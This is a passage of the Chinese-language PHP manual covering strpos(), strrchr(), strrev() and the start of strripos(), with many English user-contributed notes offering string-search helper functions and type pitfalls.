<?php

/**
 * Find the position of the first occurrence of one or more substrings in a
 * string.
 *
 * This function is simulair to function strpos() except that it allows to
 * search for multiple needles at once.
 *
 * @param string $haystack    The string to search in.
 * @param mixed $needles      Array containing needles or string containing
 *                            needle.
 * @param integer $offset     If specified, search will start this number of
 *                            characters counted from the beginning of the
 *                            string.
 * @param boolean $last       If TRUE then the farthest position from the start
 *                            of one of the needles is returned.
 *                            If FALSE then the smallest position from start of
 *                            one of the needles is returned.
 **/
function mstrpos($haystack, $needles, $offset = 0, $last = false)
{
  if(!is_array($needles)) { $needles = array($needles); }
  $found = false;
  foreach($needles as $needle)
  {
    $position = strpos($haystack, (string)$needle, $offset);
    if($position === false) { continue; }
    $exp = $last ? ($found === false || $position > $found) :
      ($found === false || $position < $found);
    if($exp) { $found = $position; }
  }
  return $found;
}

/**
 * Find the position of the first (partially) occurrence of a substring in a
 * string.
 *
 * This function is simulair to function strpos() except that it wil return a
 * position when the substring is partially located at the end of the string.
 *
 * @param string $haystack    The string to search in.
 * @param mixed $needle       The needle to search for.
 * @param integer $offset     If specified, search will start this number of
 *                            characters counted from the beginning of the
 *                            string.
 **/
function pstrpos($haystack, $needle, $offset = 0)
{
  $position = strpos($haystack, $needle, $offset);
  if($position !== false) { return $position; }

  for($i = strlen($needle); $i > 0; $i--)
  {
    if(substr($needle, 0, $i) == substr($haystack, -$i))
    { return strlen($haystack) - $i; }
  }
  return false;
}

/**
 * Find the position of the first (partially) occurrence of one or more
 * substrings in a string.
 *
 * This function is simulair to function strpos() except that it allows to
 * search for multiple needles at once and it wil return a position when one of
 * the substrings is partially located at the end of the string.
 *
 * @param string $haystack    The string to search in.
 * @param mixed $needles      Array containing needles or string containing
 *                            needle.
 * @param integer $offset     If specified, search will start this number of
 *                            characters counted from the beginning of the
 *                            string.
 * @param boolean $last       If TRUE then the farthest position from the start
 *                            of one of the needles is returned.
 *                            If FALSE then the smallest position from start of
 *                            one of the needles is returned.
 **/
function mpstrpos($haystack, $needles, $offset = 0, $last = false)
{
  if(!is_array($needles)) { $needles = array($needles); }
  $found = false;
  foreach($needles as $needle)
  {
    $position = pstrpos($haystack, (string)$needle, $offset);
    if($position === false) { continue; }
    $exp = $last ? ($found === false || $position > $found) :
      ($found === false || $position < $found);
    if($exp) { $found = $position; }
  }
  return $found;
}

?>
fabio at naoimporta dot com 25-Feb-2016 04:58
It is interesting to be aware of the behavior when the treatment of strings with characters using different encodings.

<?php
# Works like expected. There is no accent
var_dump(strpos("Fabio", 'b'));
#int(2)

# The "á" letter is occupying two positions
var_dump(strpos("Fábio", 'b')) ;
#int(3)

# Now, encoding the string "Fábio" to utf8, we get some "unexpected" outputs. Every letter that is no in regular ASCII table, will use 4 positions(bytes). The starting point remains like before.
# We cant find the characted, because the haystack string is now encoded.
var_dump(strpos(utf8_encode("Fábio"), 'á'));
#bool(false)

# To get the expected result, we need to encode the needle too
var_dump(strpos(utf8_encode("Fábio"), utf8_encode('á')));
#int(1)

# And, like said before, "á" occupies 4 positions(bytes)
var_dump(strpos(utf8_encode("Fábio"), 'b'));
#int(5)
lairdshaw at yahoo dot com dot au 03-Apr-2015 06:02
<?php
/*
 * A strpos variant that accepts an array of $needles - or just a string,
 * so that it can be used as a drop-in replacement for the standard strpos,
 * and in which case it simply wraps around strpos and stripos so as not
 * to reduce performance.
 *
 * The "m" in "strposm" indicates that it accepts *m*ultiple needles.
 *
 * Finds the earliest match of *all* needles. Returns the position of this match
 * or false if none found, as does the standard strpos. Optionally also returns
 * via $match either the matching needle as a string (by default) or the index
 * into $needles of the matching needle (if the STRPOSM_MATCH_AS_INDEX flag is
 * set).
 *
 * Case-insensitive searching can be specified via the STRPOSM_CI flag.
 * Note that for case-insensitive searches, if the STRPOSM_MATCH_AS_INDEX is
 * not set, then $match will be in the haystack's case, not the needle's case,
 * unless the STRPOSM_NC flag is also set.
 *
 * Flags can be combined using the bitwise or operator,
 * e.g. $flags = STRPOSM_CI|STRPOSM_NC
 */
define('STRPOSM_CI'            , 1); // CI => "case insensitive".
define('STRPOSM_NC'            , 2); // NC => "needle case".
define('STRPOSM_MATCH_AS_INDEX', 4);
function strposm($haystack, $needles, $offset = 0, &$match = null, $flags = 0) {
    // In the special case where $needles is not an array, simply wrap
    // strpos and stripos for performance reasons.
    if (!is_array($needles)) {
        $func = $flags & STRPOSM_CI ? 'stripos' : 'strpos';
        $pos = $func($haystack, $needles, $offset);
        if ($pos !== false) {
            $match = (($flags & STRPOSM_MATCH_AS_INDEX)
                      ? 0
                      : (($flags & STRPOSM_NC)
                         ? $needles
                         : substr($haystack, $pos, strlen($needles))
                        )
                      );
            return $pos;
        } else    goto strposm_no_match;
    }

    // $needles is an array. Proceed appropriately, initially by...
    // ...escaping regular expression meta characters in the needles.
    $needles_esc = array_map('preg_quote', $needles);
    // If either of the "needle case" or "match as index" flags are set,
    // then create a sub-match for each escaped needle by enclosing it in
    // parentheses. We use these later to find the index of the matching
    // needle.
    if (($flags & STRPOSM_NC) || ($flags & STRPOSM_MATCH_AS_INDEX)) {
        $needles_esc = array_map(
            function($needle) {return '('.$needle.')';},
            $needles_esc
        );
    }
    // Create the regular expression pattern to search for all needles.
    $pattern = '('.implode('|', $needles_esc).')';
    // If the "case insensitive" flag is set, then modify the regular
    // expression with "i", meaning that the match is "caseless".
    if ($flags & STRPOSM_CI) $pattern .= 'i';
    // Find the first match, including its offset.
    if (preg_match($pattern, $haystack, $matches, PREG_OFFSET_CAPTURE, $offset)) {
        // Pull the first entry, the overall match, out of the matches array.
        $found = array_shift($matches);
        // If we need the index of the matching needle, then...
        if (($flags & STRPOSM_NC) || ($flags & STRPOSM_MATCH_AS_INDEX)) {
            // ...find the index of the sub-match that is identical
            // to the overall match that we just pulled out.
            // Because sub-matches are in the same order as needles,
            // this is also the index into $needles of the matching
            // needle.
            $index = array_search($found, $matches);
        }
        // If the "match as index" flag is set, then return in $match
        // the matching needle's index, otherwise...
        $match = (($flags & STRPOSM_MATCH_AS_INDEX)
          ? $index
          // ...if the "needle case" flag is set, then index into
          // $needles using the previously-determined index to return
          // in $match the matching needle in needle case, otherwise...
          : (($flags & STRPOSM_NC)
             ? $needles[$index]
             // ...by default, return in $match the matching needle in
             // haystack case.
             : $found[0]
          )
        );
        // Return the captured offset.
        return $found[1];
    }

strposm_no_match:
    // Nothing matched. Set appropriate return values.
    $match = ($flags & STRPOSM_MATCH_AS_INDEX) ? false : null;
    return false;
}
?>
qrworld.net 04-Nov-2014 04:08
I found a function in this post http://softontherocks.blogspot.com/2014/11/buscar-multiples-textos-en-un-texto-con.html
that implements the search in both ways, case sensitive or case insensitive, depending on an input parameter.

The function is:

function getMultiPos($haystack, $needles, $sensitive=true, $offset=0){
    foreach($needles as $needle) {
        $result[$needle] = ($sensitive) ? strpos($haystack, $needle, $offset) : stripos($haystack, $needle, $offset);
    }
    return $result;
}

It was very useful for me.
ohcc at 163 dot com 27-Jun-2014 10:52
Be careful when the $haystack or $needle parameter is an integer.
If you are not sure of its type, you should  convert it into a string.
<?php
    var_dump(strpos(12345,1));//false
    var_dump(strpos(12345,'1'));//0
    var_dump(strpos('12345',1));//false
    var_dump(strpos('12345','1'));//0
    $a = 12345;
    $b = 1;
    var_dump(strpos(strval($a),strval($b)));//0
    var_dump(strpos((string)$a,(string)$b));//0
?>
binodluitel at hotmail dot com 27-Mar-2014 04:26
This function will return 0 if the string that you are searching matches i.e. needle matches the haystack

{code}
echo strpos('bla', 'bla');
{code}

Output: 0
Lurvik 16-Dec-2013 07:02
Don't know if already posted this, but if I did this is an improvement.

This function will check if a string contains  a needle. It _will_ work with arrays and multidimensional arrays (I've tried with a > 16 dimensional array and had no problem).

<?php
function str_contains($haystack, $needles)
{
    //If needles is an array
    if(is_array($needles))
    {
        //go trough all the elements
        foreach($needles as $needle)
        {
            //if the needle is also an array (ie needles is a multidimensional array)
            if(is_array($needle))
            {
                //call this function again
                if(str_contains($haystack, $needle))
                {
                    //Will break out of loop and function.
                    return true;
                }

                return false;
            }

            //when the needle is NOT an array:
                //Check if haystack contains the needle, will ignore case and check for whole words only
            elseif(preg_match("/\b$needle\b/i", $haystack) !== 0)
            {
                return true;
            }
        }
    }
    //if $needles is not an array...
    else
    {
        if(preg_match("/\b$needles\b/i", $haystack) !== 0)
        {
            return true;
        }
    }

    return false;
}
?>
Anonymous 18-Feb-2013 09:55
The most straightforward way to prevent this function from returning 0 is:

  strpos('x'.$haystack, $needle, 1)

The 'x' is simply a garbage character which is only there to move everything 1 position.
The number 1 is there to make sure that this 'x' is ignored in the search.
This way, if $haystack starts with $needle, then the function returns 1 (rather than 0).
mtroy dot student at gmail dot com 25-Apr-2012 04:46
when you want to know how much of substring occurrences, you'll use "substr_count".
But, retrieve their positions, will be harder.
So, you can do it by starting with the last occurrence :

function strpos_r($haystack, $needle)
{
    if(strlen($needle) > strlen($haystack))
        trigger_error(sprintf("%s: length of argument 2 must be <= argument 1", __FUNCTION__), E_USER_WARNING);

    $seeks = array();
    while($seek = strrpos($haystack, $needle))
    {
        array_push($seeks, $seek);
        $haystack = substr($haystack, 0, $seek);
    }
    return $seeks;
}

it will return an array of all occurrences a the substring in the string

Example :

$test = "this is a test for testing a test function... blah blah";
var_dump(strpos_r($test, "test"));

// output

array(3) {
  [0]=>
  int(29)
  [1]=>
  int(19)
  [2]=>
  int(10)
}

Paul-antoine
Malézieux.
martijn at martijnfrazer dot nl 25-Feb-2012 03:58
This is a function I wrote to find all occurrences of a string, using strpos recursively.

<?php
function strpos_recursive($haystack, $needle, $offset = 0, &$results = array()) {
    $offset = strpos($haystack, $needle, $offset);
    if($offset === false) {
        return $results;
    } else {
        $results[] = $offset;
        return strpos_recursive($haystack, $needle, ($offset + 1), $results);
    }
}
?>

This is how you use it:

<?php
$string = 'This is some string';
$search = 'a';
$found = strpos_recursive($string, $search);

if($found) {
    foreach($found as $pos) {
        echo 'Found "'.$search.'" in string "'.$string.'" at position <b>'.$pos.'</b><br />';
    }
} else {
    echo '"'.$search.'" not found in "'.$string.'"';
}
?>
rjeggens at ijskoud dot org 24-Jan-2012 07:38
I lost an hour before I noticed that strpos only returns FALSE as a boolean, never TRUE.. This means that

strpos() !== false

is a different beast then:

strpos() === true

since the latter will never be true. After I found out, The warning in the documentation made a lot more sense.
gjh42 - simonokewode at hotmail dot com 07-Nov-2011 07:59
A pair of functions to replace every nth occurrence of a string with another string, starting at any position in the haystack. The first works on a string and the second works on a single-level array of strings, treating it as a single string for replacement purposes (any needles split over two array elements are ignored).

Can be used for formatting dynamically-generated HTML output without touching the original generator: e.g. add a newLine class tag to every third item in a floated list, starting with the fourth item.

<?php
/* String Replace at Intervals   by Glenn Herbert (gjh42)    2010-12-17
 */

//(basic locator by someone else - name unknown)
//strnposr() - Find the position of nth needle in haystack.
function strnposr($haystack, $needle, $occurrence, $pos = 0) {
    return ($occurrence<2)?strpos($haystack, $needle, $pos):strnposr($haystack,$needle,$occurrence-1,strpos($haystack, $needle, $pos) + 1);
}

//gjh42
//replace every nth occurrence of $needle with $repl, starting from any position
function str_replace_int($needle, $repl, $haystack, $interval, $first=1, $pos=0) {
  if ($pos >= strlen($haystack) or substr_count($haystack, $needle, $pos) < $first) return $haystack;
  $firstpos = strnposr($haystack, $needle, $first, $pos);
  $nl = strlen($needle);
  $qty = floor(substr_count($haystack, $needle, $firstpos + 1)/$interval);
  do { //in reverse order
    $nextpos = strnposr($haystack, $needle, ($qty * $interval) + 1, $firstpos);
    $qty--;
    $haystack = substr_replace($haystack, $repl, $nextpos, $nl);
  } while ($nextpos > $firstpos);
  return $haystack;
}
  //$needle = string to find
  //$repl = string to replace needle
  //$haystack = string to do replacing in
  //$interval = number of needles in loop
  //$first=1 = first occurrence of needle to replace (defaults to first)
  //$pos=0 = position in haystack string to start from (defaults to first)

//replace every nth occurrence of $needle with $repl, starting from any position, in a single-level array
function arr_replace_int($needle, $repl, $arr, $interval, $first=1, $pos=0, $glue='|+|') {
  if (!is_array($arr))  return $arr;
  foreach($arr as $key=>$value){
    if (is_array($arr[$key])) return $arr;
  }
  $haystack = implode($glue, $arr);
  $haystack = str_replace_int($needle, $repl, $haystack, $interval, $first, $pos);
  $tarr = explode($glue, $haystack);
  $i = 0;
  foreach($arr as $key=>$value){
    $arr[$key] = $tarr[$i];
    $i++;
  }
  return $arr;
}
?>
If $arr is not an array, or a multilevel array, it is returned unchanged.
akarmenia at gmail dot com 05-Mar-2011 04:44
My version of strpos with needles as an array. Also allows for a string, or an array inside an array.

<?php
function strpos_array($haystack, $needles) {
    if ( is_array($needles) ) {
        foreach ($needles as $str) {
            if ( is_array($str) ) {
                $pos = strpos_array($haystack, $str);
            } else {
                $pos = strpos($haystack, $str);
            }
            if ($pos !== FALSE) {
                return $pos;
            }
        }
    } else {
        return strpos($haystack, $needles);
    }
}

// Test
echo strpos_array('This is a test', array('test', 'drive')); // Output is 10

?>
gambajaja at yahoo dot com 17-Aug-2010 03:25
<?php
$my_array = array ('100,101', '200,201', '300,301');
$check_me_in = array ('100','200','300','400');
foreach ($check_me_in as $value_cmi){
    $is_in=FALSE; #asume that $check_me_in isn't in $my_array
    foreach ($my_array as $value_my){
        $pos = strpos($value_my, $value_cmi);
        if ($pos===0)
            $pos++;
        if ($pos==TRUE){
            $is_in=TRUE;
            $value_my2=$value_my;
            }
    }
    if ($is_in) echo "ID $value_cmi in \$check_me_in I found in value '$value_my2' \n";
}
?>

The above example will output
ID 100 in $check_me_in I found in value '100,101'
ID 200 in $check_me_in I found in value '200,201'
ID 300 in $check_me_in I found in value '300,301'
usulaco at gmail dot com 11-Aug-2010 05:04
Parse strings between two others in to array.

<?php
function g($string,$start,$end){
     preg_match_all('/' . preg_quote($start, '/') . '(.*?)'. preg_quote($end, '/').'/i', $string, $m);
     $out = array();

     foreach($m[1] as $key => $value){
       $type = explode('::',$value);
       if(sizeof($type)>1){
          if(!is_array($out[$type[0]]))
             $out[$type[0]] = array();
          $out[$type[0]][] = $type[1];
       } else {
          $out[] = $value;
       }
     }
  return $out;
}
print_r(g('Sample text, [/text to extract/] Rest of sample text [/WEB::http://google.com/] bla bla bla. ','[/','/]'));
?>

results:
Array
(
    [0] => text to extract
    [WEB] => Array
        (
            [0] => http://google.com
        )

)

Can be helpfull to custom parsing :)
Achintya 06-Nov-2009 02:03
A function I made to find the first occurrence of a particular needle not enclosed in quotes(single or double). Works for simple nesting (no backslashed nesting allowed).

<?php
function strposq($haystack, $needle, $offset = 0){
    $len = strlen($haystack);
    $charlen = strlen($needle);
    $flag1 = false;
    $flag2 = false;
    for($i = $offset; $i < $len; $i++){
        if(substr($haystack, $i, 1) == "'"){
            $flag1 = !$flag1 && !$flag2 ? true : false;
        }
        if(substr($haystack, $i, 1) == '"'){
            $flag2 = !$flag1 && !$flag2 ? true : false;
        }
        if(substr($haystack, $i, $charlen) == $needle && !$flag1 && !$flag2){
            return $i;
        }
    }
    return false;
}

echo strposq("he'llo'character;\"'som\"e;crap", ";"); //16
?>
yasindagli at gmail dot com 05-Oct-2009 09:05
This function finds postion of nth occurence of a letter starting from offset.

<?php
function nth_position($str, $letter, $n, $offset = 0){
    $str_arr = str_split($str);
    $letter_size = array_count_values(str_split(substr($str, $offset)));
    if( !isset($letter_size[$letter])){
        trigger_error('letter "' . $letter . '" does not exist in ' . $str . ' after ' . $offset . '. position', E_USER_WARNING);
        return false;
    } else if($letter_size[$letter] < $n) {
        trigger_error('letter "' . $letter . '" does not exist ' . $n .' times in ' . $str . ' after ' . $offset . '. position', E_USER_WARNING);
        return false;
    }
    for($i = $offset, $x = 0, $count = (count($str_arr) - $offset); $i < $count, $x != $n; $i++){
        if($str_arr[$i] == $letter){
            $x++;
        }
    }
    return $i - 1;
}

echo nth_position('foobarbaz', 'a', 2); //7
echo nth_position('foobarbaz', 'b', 1, 4); //6
?>
digitalpbk [at] gmail.com 30-Sep-2009 08:37
This function raises a warning if the offset is not between 0 and the length of string:

Warning: strpos(): Offset not contained in string in %s on line %d
ah dot d at hotmail dot com 11-Aug-2009 01:29
A strpos modification to return an array of all the positions of a needle in the haystack

<?php
function strallpos($haystack,$needle,$offset = 0){
    $result = array();
    for($i = $offset; $i<strlen($haystack); $i++){
        $pos = strpos($haystack,$needle,$i);
        if($pos !== FALSE){
            $offset =  $pos;
            if($offset >= $i){
                $i = $offset;
                $result[] = $offset;
            }
        }
    }
    return $result;
}
?>

example:-

<?php
$haystack = "ASD is trying to get out of the ASDs cube but the other ASDs told him that his behavior will destroy the ASDs world";

$needle = "ASD";

print_r(strallpos($haystack,$needle));

//getting all the positions starting from a specified position

print_r(strallpos($haystack,$needle,34));
?>
teddanzig at yahoo dot com 23-Mar-2009 09:48
routine to return -1 if there is no match for strpos

<?php
//instr function to mimic vb instr fucntion
function InStr($haystack, $needle)
{
    $pos=strpos($haystack, $needle);
    if ($pos !== false)
    {
        return $pos;
    }
    else
    {
        return -1;
    }
}
?>
Tim 17-Nov-2008 05:52
If you would like to find all occurences of a needle inside a haystack you could use this function strposall($haystack,$needle);. It will return an array with all the strpos's.

<?php
/**
 * strposall
 *
 * Find all occurrences of a needle in a haystack
 *
 * @param string $haystack
 * @param string $needle
 * @return array or false
 */
function strposall($haystack,$needle){

    $s=0;
    $i=0;

    while (is_integer($i)){

        $i = strpos($haystack,$needle,$s);

        if (is_integer($i)) {
            $aStrPos[] = $i;
            $s = $i+strlen($needle);
        }
    }
    if (isset($aStrPos)) {
        return $aStrPos;
    }
    else {
        return false;
    }
}
?>
ilaymyhat-rem0ve at yahoo dot com 01-Apr-2008 04:17
This might be useful.

<?php
class String{

    //Look for a $needle in $haystack in any position
    public static function contains(&$haystack, &$needle, &$offset)
    {
        $result = strpos($haystack, $needle, $offset);
        return $result !== FALSE;
    }

    //intuitive implementation .. if not found returns -1.
    public static function strpos(&$haystack, &$needle, &$offset)
    {
        $result = strpos($haystack, $needle, $offset);
        if ($result === FALSE )
        {
            return -1;
        }
        return $result;
    }

}//String
?>
Suggested re-write for pink WARNING box 11-Jan-2008 03:45
WARNING

As strpos may return either FALSE (substring absent) or 0 (substring at start of string), strict versus loose equivalency operators must be used very carefully.

To know that a substring is absent, you must use:

=== FALSE

To know that a substring is present (in any position including 0), you can use either of:

!== FALSE  (recommended)
 > -1  (note: or greater than any negative number)

To know that a substring is at the start of the string, you must use:

=== 0

To know that a substring is in any position other than the start, you can use any of:

 > 0  (recommended)
!= 0  (note: but not !== 0 which also equates to FALSE)
!= FALSE  (disrecommended as highly confusing)

Also note that you cannot compare a value of "" to the returned value of strpos. With a loose equivalence operator (== or !=) it will return results which don't distinguish between the substring's presence versus position. With a strict equivalence operator (=== or !==) it will always return false.
user at nomail dot com 15-May-2007 02:21
This is a bit more useful when scanning a large string for all occurances between 'tags'.

<?php
function getStrsBetween($s,$s1,$s2=false,$offset=0) {
    /*====================================================================
    Function to scan a string for items encapsulated within a pair of tags

    getStrsBetween(string, tag1, <tag2>, <offset>

    If no second tag is specified, then match between identical tags

    Returns an array indexed with the encapsulated text, which is in turn
    a sub-array, containing the position of each item.

    Notes:
    strpos($needle,$haystack,$offset)
    substr($string,$start,$length)

    ====================================================================*/

    if( $s2 === false ) { $s2 = $s1; }
    $result = array();
    $L1 = strlen($s1);
    $L2 = strlen($s2);

    if( $L1==0 || $L2==0 ) {
        return false;
    }

    do {
        $pos1 = strpos($s,$s1,$offset);

        if( $pos1 !== false ) {
            $pos1 += $L1;

            $pos2 = strpos($s,$s2,$pos1);

            if( $pos2 !== false ) {
                $key_len = $pos2 - $pos1;

                $this_key = substr($s,$pos1,$key_len);

                if( !array_key_exists($this_key,$result) ) {
                    $result[$this_key] = array();
                }

                $result[$this_key][] = $pos1;

                $offset = $pos2 + $L2;
            } else {
                $pos1 = false;
            }
        }
    } while($pos1 !== false );

    return $result;
}
?>
spinicrus at gmail dot com 14-Oct-2006 10:58
if you want to get the position of a substring relative to a substring of your string, BUT in REVERSE way:

<?php

function strpos_reverse_way($string,$charToFind,$relativeChar) {
    //
    $relativePos = strpos($string,$relativeChar);
    $searchPos = $relativePos;
    $searchChar = '';
    //
    while ($searchChar != $charToFind) {
        $newPos = $searchPos-1;
        $searchChar = substr($string,$newPos,strlen($charToFind));
        $searchPos = $newPos;
    }
    //
    if (!empty($searchChar)) {
        //
        return $searchPos;
        return TRUE;
    }
    else {
        return FALSE;
    }
    //
}

?>
philip 25-Aug-2004 03:52
Many people look for in_string which does not exist in PHP, so, here's the most efficient form of in_string() (that works in both PHP 4/5) that I can think of:
<?php
function in_string($needle, $haystack, $insensitive = false) {
    if ($insensitive) {
        return false !== stristr($haystack, $needle);
    } else {
        return false !== strpos($haystack, $needle);
    }
}
?>
bishop 21-Apr-2004 03:38
Code like this:
<?php
if (strpos('this is a test', 'is') !== false) {
    echo "found it";
}
?>

gets repetitive, is not very self-explanatory, and most people handle it incorrectly anyway. Make your life easier:

<?php
function str_contains($haystack, $needle, $ignoreCase = false) {
    if ($ignoreCase) {
        $haystack = strtolower($haystack);
        $needle   = strtolower($needle);
    }
    $needlePos = strpos($haystack, $needle);
    return ($needlePos === false ? false : ($needlePos+1));
}
?>

Then, you may do:
<?php
// simplest use
if (str_contains('this is a test', 'is')) {
    echo "Found it";
}

// when you need the position, as well whether it's present
$needlePos = str_contains('this is a test', 'is');
if ($needlePos) {
    echo 'Found it at position ' . ($needlePos-1);
}

// you may also ignore case
$needlePos = str_contains('this is a test', 'IS', true);
if ($needlePos) {
    echo 'Found it at position ' . ($needlePos-1);
}
?>


查找指定字符在字符串中的最后一次出现

  • ? strpos
  • strrev ?
  • PHP Manual
  • 字符串 函数
  • 查找指定字符在字符串中的最后一次出现

strrchr

(PHP 4, PHP 5, PHP 7)

strrchr — 查找指定字符在字符串中的最后一次出现

说明

strrchr ( string $haystack , mixed $needle ) : string

该函数返回 haystack 字符串中的一部分，这部分以 needle 的最后出现位置开始，直到 haystack 末尾。

参数

haystack

在该字符串中查找。

needle

如果 needle 包含了不止一个字符，那么仅使用第一个字符。该行为不同于 strstr()。

如果 needle 不是一个字符串，那么将被转化为整型并被视为字符顺序值。

返回值

该函数返回字符串的一部分。如果 needle 未被找到，返回 FALSE。

更新日志

版本 | 说明
4.3.0 | 该函数是二进制安全的。

范例

Example #1 strrchr() 范例

<?php
// 获取 $PATH 中不含磁盘符号的目录
$dir = substr(strrchr($PATH, ":"), 1);

// 获取最后一行内容
$text = "Line 1\nLine 2\nLine 3";
$last = substr(strrchr($text, 10), 1 );
?>

注释

Note: 此函数可安全用于二进制对象。

参见

  • strstr() - 查找字符串的首次出现
  • strrpos() - 计算指定字符串在目标字符串中最后一次出现的位置

User Contributed Notes

alex_bb23 at yahoo.co.uk 02-Aug-2017 08:32
I think that a good way (I don't know if is the best one) to extract a portion from a string:
<?php

$image = "image.name.jpg";
// get file extension
preg_replace("/.*\.(.*)$/", "$1", $last);
// will result: jpg

?>

Is faster that substr(strrchr...
jphansen at uga dot edu 15-Aug-2012 04:16
To extract your portion of a string without the actual character you searched for, you can use:

<?php
$path = '/www/public_html/index.html';
$filename = substr(strrchr($path, "/"), 1);
echo $filename; // "index.html"
?>
matthewkastor at live dot com 30-Mar-2011 01:07
<?php
/**
 * Removes the preceeding or proceeding portion of a string
 * relative to the last occurrence of the specified character.
 * The character selected may be retained or discarded.
 *
 * Example usage:
 * <code>
 * $example = 'http://example.com/path/file.php';
 * $cwd_relative[] = cut_string_using_last('/', $example, 'left', true);
 * $cwd_relative[] = cut_string_using_last('/', $example, 'left', false);
 * $cwd_relative[] = cut_string_using_last('/', $example, 'right', true);
 * $cwd_relative[] = cut_string_using_last('/', $example, 'right', false);
 * foreach($cwd_relative as $string) {
 *     echo "$string <br>".PHP_EOL;
 * }
 * </code>
 *
 * Outputs:
 * <code>
 * http://example.com/path/
 * http://example.com/path
 * /file.php
 * file.php
 * </code>
 *
 * @param string $character the character to search for.
 * @param string $string the string to search through.
 * @param string $side determines whether text to the left or the right of the character is returned.
 * Options are: left, or right.
 * @param bool $keep_character determines whether or not to keep the character.
 * Options are: true, or false.
 * @return string
 */
function cut_string_using_last($character, $string, $side, $keep_character=true) {
    $offset = ($keep_character ? 1 : 0);
    $whole_length = strlen($string);
    $right_length = (strlen(strrchr($string, $character)) - 1);
    $left_length = ($whole_length - $right_length - 1);
    switch($side) {
        case 'left':
            $piece = substr($string, 0, ($left_length + $offset));
            break;
        case 'right':
            $start = (0 - ($right_length + $offset));
            $piece = substr($string, $start);
            break;
        default:
            $piece = false;
            break;
    }
    return($piece);
}
?>
readless at gmx dot net 06-Jun-2006 07:55
to: repley at freemail dot it

the code works very well, but as i was trying to cut script names (e.g.: $_SERVER["SCRIPT_NAME"] => /index.php, cut the string at "/" and return "index.php") it returned nothing (false). i've modified your code and now it works also if the needle is the first char.
- regards from germany

<?php
//strxchr(string haystack, string needle [, bool int leftinclusive [, bool int rightinclusive ]])
function strxchr($haystack, $needle, $l_inclusive = 0, $r_inclusive = 0){
   if(strrpos($haystack, $needle)){
       //Everything before last $needle in $haystack.
       $left =  substr($haystack, 0, strrpos($haystack, $needle) + $l_inclusive);

       //Switch value of $r_inclusive from 0 to 1 and viceversa.
       $r_inclusive = ($r_inclusive == 0) ? 1 : 0;

       //Everything after last $needle in $haystack.
       $right =  substr(strrchr($haystack, $needle), $r_inclusive);

       //Return $left and $right into an array.
       return array($left, $right);
   } else {
       if(strrchr($haystack, $needle)) return array('', substr(strrchr($haystack, $needle), $r_inclusive));
       else return false;
   }
}
?>
sekati at gmail dot com 08-Apr-2006 05:43
just a small addition to carlos dot lage at gmail dot com note which makes it a bit more useful and flexible:

<?php
// return everything up to last instance of needle
// use $trail to include needle chars including and past last needle
function reverse_strrchr($haystack, $needle, $trail) {
    return strrpos($haystack, $needle) ? substr($haystack, 0, strrpos($haystack, $needle) + $trail) : false;
}
// usage:
$ns = (reverse_strrchr($_SERVER["SCRIPT_URI"], "/", 0));
$ns2 = (reverse_strrchr($_SERVER["SCRIPT_URI"], "/", 1));
echo($ns . "<br>" . $ns2);
?>
freakinunreal at hotmail dot com 24-Dec-2005 10:54
to marcokonopacki at hotmail dot com.

I had to make a slight change in your function for it to return the complete needle inclusive.

// Reverse search of strrchr.
function strrrchr($haystack,$needle)
{

   // Returns everything before $needle (inclusive).
   //return substr($haystack,0,strpos($haystack,$needle)+1);
   // becomes
   return substr($haystack,0,strpos($haystack,$needle)+strlen($needle));
}

Note: the +1 becomes +strlen($needle)

Otherwise it only returns the first character in needle backwards.
29-Jul-2005 10:24
$filename = 'strrchr_test.php';
print strrchr( $filename, '.' );

Result:
.php

$other_filename = 'strrchr_test.asp.php';
print  strrchr( $other_filename, '.' );

Result:
.php
carlos dot lage at gmail dot com 03-Apr-2005 11:45
I used dchris1 at bigpond dot net dot au 's reverse strrchr and reduced it to one line of code and fixed it's functionality - the real strrchr() returns FALSE if the needle is not found, not the haystack :)

<?php
// reverse strrchr()
function reverse_strrchr($haystack, $needle)
{
                return strrpos($haystack, $needle) ? substr($haystack, 0, strrpos($haystack, $needle) +1 ) : false;
}
?>
dchris1 at bigpond dot net dot au 16-Feb-2004 07:16
The function provided by marcokonopacki at hotmail dot com isn't really a reverse-version of strrchr(), rather a reverse version of strchr(). It returns everything from the start of $haystack up to the FIRST instance of the $needle. This is basically a reverse of the behavior which you expect from strchr(). A reverse version of strrchr() would return everything in $haystack up to the LAST instance of $needle, eg:

<?php
// reverse strrchr() - PHP v4.0b3 and above
function reverse_strrchr($haystack, $needle)
{
    $pos = strrpos($haystack, $needle);
    if($pos === false) {
        return $haystack;
    }
    return substr($haystack, 0, $pos + 1);
}
?>

Note that this function will need to be modified slightly to work with pre 4.0b3 versions of PHP due to the return type of strrpos() ('0' is not necessarily 'false'). Check the documentation on strrpos() for more info.

A function like this can be useful for extracting the path to a script, for example:

<?
$string = "/path/to/the/file/filename.php";

echo reverse_strrchr($string, '/'); // will echo "/path/to/the/file/"
?>
andfarm at thibs dot menloschool dot org 23-May-2003 04:24
strrchr is also very useful for finding the extension of a file. For example:

$ext = strrchr($filename, ".");

and $ext will contain the extension of the file, including a ".", if the file has an extension, and FALSE if the file has no extension. If the file has multiple extensions, such as "evilfile.jpg.vbs", then this construction will just return the last extension.
marcokonopacki at hotmail dot com 14-Apr-2003 12:43
<?

// Reverse search of strrchr.
function strrrchr($haystack,$needle)
{

    // Returns everything before $needle (inclusive).
    return substr($haystack,0,strpos($haystack,$needle)+1);

}

$string = "FIELD NUMBER(9) NOT NULL";

echo strrrchr($string,")"); // Will print FIELD (9)

?>


反转字符串

  • ? strrchr
  • strripos ?
  • PHP Manual
  • 字符串 函数
  • 反转字符串

strrev

(PHP 4, PHP 5, PHP 7)

strrev — 反转字符串

说明

strrev ( string $string ) : string

返回 string 反转后的字符串。

参数

string

待反转的原始字符串。

返回值

返回反转后的字符串。

范例

Example #1 使用 strrev() 反转字符串

<?php
echo strrev("Hello world!"); // 输出 "!dlrow olleH"
?>

User Contributed Notes

tianyiw at vip dot qq dot com 17-Jul-2018 12:53
This function support utf-8 encoding, Human Language and Character Encoding Support:

<?php
function mb_strrev($str){
    $r = '';
    for ($i = mb_strlen($str); $i>=0; $i--) {
        $r .= mb_substr($str, $i, 1);
    }
    return $r;
}

echo mb_strrev("☆?world"); // echo "dlrow?☆"
?>
arturklesun at gmail dot com 09-Mar-2018 10:17
Be careful, it does not work with unicode strings.

<?php
php > $str = '1￥';
php > print($str);
1￥
php > print(strrev($str));
??1
?>


计算指定字符串在目标字符串中最后一次出现的位置（不区分大小写）

  • ? strrev
  • strrpos ?
  • PHP Manual
  • 字符串 函数
  • 计算指定字符串在目标字符串中最后一次出现的位置（不区分大小写）

strripos

(PHP 5, PHP 7)

